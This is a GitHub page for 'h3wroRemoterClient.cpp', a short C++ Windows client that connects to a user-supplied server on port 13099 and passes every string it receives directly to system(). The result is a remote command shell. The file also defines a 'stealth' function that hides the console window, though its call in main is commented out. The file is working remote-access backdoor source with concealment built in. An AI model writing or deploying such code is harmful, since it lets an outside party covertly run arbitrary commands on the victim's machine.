-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathh3wroRemoterClient.cpp
50 lines (40 loc) · 1 KB
/
h3wroRemoterClient.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// Client code
// Author: Szymon Kocur
#include <stdio.h>
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void stealth() {
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
int main(int argc, char * argv[])
{
//stealth();
WSADATA wsa;
int result = WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET mainSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
std::cout << "IP of server: ";
char ip[20];
std::cin >> ip;
sockaddr_in service;
memset(&service, 0, sizeof(service));
service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr(ip);
service.sin_port = htons(13099);
if (connect(mainSocket, (SOCKADDR *)& service, sizeof(service)) == SOCKET_ERROR) {
printf("Failed to connect.\n");
getchar();
WSACleanup();
return 1;
}
while (1) {
char recvbuf[400] = "";
recv(mainSocket, recvbuf, 400, 0);
system(recvbuf);
}
getchar();
return 0;
}